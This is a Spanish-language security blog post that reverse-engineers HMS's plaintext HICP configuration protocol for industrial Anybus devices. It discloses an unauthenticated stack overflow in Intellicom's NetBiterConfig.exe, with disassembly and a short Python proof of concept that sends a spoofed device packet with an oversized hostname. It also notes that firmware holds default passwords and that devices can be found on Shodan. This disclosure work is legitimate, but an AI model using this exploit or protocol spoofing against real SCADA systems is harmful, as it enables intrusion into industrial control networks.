Exposing HMS HICP Protocol + 0day ‘light’
Hola buenas,
Hoy vamos a darle un par de vueltas a un protocolo propietario usado para configuración y control de ciertos dispositivos M2M de la empresa HMS.
AFAIK no hay documentación pública del protocolo HICP, si estoy equivocado que alguien me lo haga saber y me daré 40 latigazos.
Bueno el caso es que como no he conseguido encontrar nada, pues escribo esto para documentarlo un poco.Obviamente lo que voy a explicar está basado en lo que he podido sacar destripando software y cosas peores. No tiene mucho misterio, pero como es usado en todos los productos de control y monitorización industrial de la empresa HMS que incorporan capacidades de red (ethernet), creo que es interesante desde el punto de vista de la seguridad SCADA. Ya sacareÃs vuestras conclusiones al final del articulo.
En la segunda parte del post explicaré un fallo que he encontrado en una herramienta de configuración de los dispositivos SCADA netbiter WS100 y WS200 de la empresa intellicom. Estos están basados en Anybus RemoteCOM de HMS, por lo tanto usan HICP para su configuración. Este fallo permite ejecutar código remótamente sin ningún tipo de autentificación.
Ale, al lÃo!
Los dispositivos HMS-Anybus,y los que están basados en esta tecnologÃa, que incorporan capacidades ethernet necesitan una manera de configurar/actualizar lo Ãmprescindible para ser accesibles: ip,netmask,gateway,dns,dchp… Aquà es donde entra en juego el protocolo HICP. Este es usado para poder configurar remótamente estos dispostivos. Para ello, en el 2004 HMS publico una herramienta libre llamada Tu_puta_madre_pelando_Gambas v1.0. Jijiji, es mentira. Se llamaba Anybus IPconfig. Es una herramienta muy simple que consta de una GUI MFC y una dll llamada hicp.dll. De acuerdo con la documentación, esta herramienta nos permite scanear la red donde están conectados los dispositivos para detectarlos y configurarlos. Pues vamos a ver como lo hace.
Miramos las exports de la dll hicp.dll y vemos HICP_SendModuleScan.
.text:100027AF public ?HICP_SendModuleScan@@YAHXZ
.text:100027AF ?HICP_SendModuleScan@@YAHXZ proc near
.text:100027AF push ebp
.text:100027B0 mov ebp, esp
.text:100027B2 call sub_10002175
.text:100027B7 pop ebp
.text:100027B8 retn
.text:100027B8 ?HICP_SendModuleScan@@YAHXZ endp
El código es una pijada
to.sa_family = AF_INET;
*(_WORD *)&to.sa_data[0] = htons(HICP_PORT); // 3250 UDP
*(_DWORD *)&to.sa_data[2] = htonl(IP_BROADCAST);
v1 = strlen(&Dest);
if ( sendto(s, &Dest, v1 + 1, 0, &to, 16) != -1 )
Pues eso manda un paquete broadcast que contiene la cadena «Module Scan». Entonces cuando los dispositivos Anybus que tienen un daemon escuchando también en el 3250 reciben esta petición, responden de igual manera enviando su configuración actual al 3250.
Vamos a ver qué es lo que envian y cómo
—-
«Protocol version = 1.10; » # necesita explicación
+»fb type = AnybusPeralimonera; » # identificacion del tipo de dispositivo
+»module version = 0.66.6; » # pues eso.
+»mac = 00-30-11-00-BA-CA; » # la MAC del dispositivo -IMPORTANTE-
+»ip = 192.168.1.252; » # la ip interna
+»sn = 255.255.255.0; » # Network Mask
+»gw = 192.168.1.1; » # la puerta guay
+»dhcp = off; » # si el dispositivo usara un server DHCP para obtener la ip. (on/off)
+»pswd = off; » # si el dispositivo tiene activado un password (on/off)
+»hn = morroBufalo; » # el hostname (opcional)
+»dns1 = 192.168.1.33; » # DNS primario
+»dns2 = 192.168.1.34; » # DNS secundario (opcional)
+»password = limones; » # el password antiguo si lo queremos cambiar. (por defecto admin)
+»new password = peras; » # el nuevo password que queramos poner
——-
Esto son los parámetros que se puede establecer/recibir mediante el protocolo HICP, los cuales se envÃan en una cadena en texto plano sin más, todo junto, separando cada parametro por «;» y usando «=» para establecerlos, tal y como vemos más arriba.
En el caso de que queramos configurar un dispositivo debemos añadir al principio de los parametros la siguiente cadena:
«Configure: %s» donde %s es la MAC del dispositivo que queremos configurar. Ejemplo
«Configure: 00-30-11-00-BA-CA; «+»protocol….»
Esto lo podemos comprobar en el export HICP_SendConfigure de la hicp.dll.
Esta petición se envia al broadcast y la reciben todos los dispositivos, los cuales usaran el valor de la MAC para asegurarse que la petición de configuración les corresponde a ellos.
Los 3 primeros valores de la MAC de estos dispositivos es 00-30-11 como podemos comprobar buscando en la lista de OUIs a la empresa HMS.
Hay un par de respuestas más que envÃan los dispositivos en el caso de que falle el password o para avisar que se han reconfigurado corréctamente. «Invalid Password:» y «Reconfigured:».
Pues eso es todo. Nada del otro mundo. Sin complicaciones,prácticamente se asume que los dispositivos están en un lugar seguro.
SEGUNDA PARTE
Otra empresa sueca, llamada intellicom desarrolla unos productos SCADA llamados NetBiter WebSCADA que están basados en los HMS Anybus RemoteCOM.
En su página web nos permiten descargar amáblemente el firmware, asà como dos herramientas para configurarlos y actualizar el firmware.
Primeramente nos vamos a fijar en la herramienta para configurarlos. Vemos que es prácticamente idéntica a la de HMS, por lo que entendemos que está basada en su código fuente. Hay algunas cosas añadidas al protocol HICP, como la capacidad de hacer un WINK a un dispositivo («WINK;») para que se enciendan las lucecitas, lleva incorporado un servidor DHCP interno, pero por lo demás es lo mismo. Bueno, no exactamente, tiene un buffer pequeñin donde no cabe un hostname de más de 0x20 bytes ;).
De esta manera podemos enviar desde fuera de la red interna incluso un paquete UDP especialmente creado para hacernos pasar por un dispositivo.
Más allá de 0x20 bytes empezamos a sobreescribir los demás valores, pudiendo llegar a sobreescribir un puntero a la vtable con los métodos de subclassing que usa la aplicación. Con 0x60 bytes conseguimos controlar la dereferencia de un metodo sin y que esi apunte a lo que queda de nuestro «hostname» (0x20 bytes aproximadamente) para poder ser usado como shellcode/stager. De esta manera conseguimos la ejecución de código.No nulls.
El fallo se activariÃa cuando el admin pinche sobre nuestro «EVIL-DEVICE» para intentar configurarlo o averiguar que coño es eso.
El fallo, como suele ser habitual, es una copia de cadena a la pila sin medir el tamaño
Module: NetBiterConfig.exe
.text:00403E58 push edx ; evil hostname
.text:00403E59 lea eax, [ebp-3CCh]
.text:00403E5F push eax
.text:00403E60 call strcpy
El fallo sólo se encuentra en la version de Intellicom, no en la de HMS, ya que en esta se hace un «strncpy» a 0x80:
Module: Anybus IpConfig.exe
.text:00403696 lea eax, [esp+0E1h]
.text:0040369D push eax
.text:0040369E lea ecx, [esp+494h]
.text:004036A5 push 80h
.text:004036AA push ecx
.text:004036AB mov byte ptr [esp+530h], 1
.text:004036B3 call sub_425666
….
….
.text:004256D9 mov cl, [edx]
.text:004256DB mov [eax], cl
.text:004256DD inc eax
.text:004256DE inc edx
.text:004256DF cmp cl, bl
.text:004256E1 jz short loc_4256EB
.text:004256E3 dec edi
.text:004256E4 jz short loc_4256EB
.text:004256E6 dec [ebp+arg_C]
.text:004256E9 jnz short loc_4256D9
Otra cosa interesante de los dispositivos de Intellicom es que nos permiten descargar el firmware. Este contiene una cabecera de 0x5F bytes donde se incluye un magic ‘NBU’ seguido de un major and minor version estilo ZIP, el tamaño de la imagen y un checksum.
En el offset 0x60 empieza un fichero gz tal cual, asi que si nos cepillamos la cabecera NBU podemos descomprimirlo sin más. Lo que nos queda es un .bin que es un linux para un Motorola ColdFire con muchas cosas interesantes, passwords por defecto incluidos…
En Shodan os podréis encontrar alguno de estos bichos. Vamos yo no lo he probado, eso me ha dicho un amigo.
Ale, fin
PoC para el fallo
————-
#!/usr/bin/python
# Intellicom NetBiterConfig.exe 1.3.0 Remote Stack Overwrite.
# Ruben Santamarta – www.reversemode.com
# For research purposes ONLY.
# If you use this code to cause damage I’ll cut you open like a f***ing pig.
import sys
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.connect(("10.10.10.10",3250))
s.send("protocol version = 1.10; "
+"fb type = EVIL-DEVICE; "
+"module version = 0.66.6; "
+"mac = 00-30-11-00-BA-CA; "
+"ip = 192.168.1.52; "
+"sn = 255.255.255.0; "
+"gw = 192.168.1.1; "
+"dhcp = off; "
+"pswd = off; "
+"hn = "+"A"*0x60+"; "
+"dns1 = 192.168.1.33;")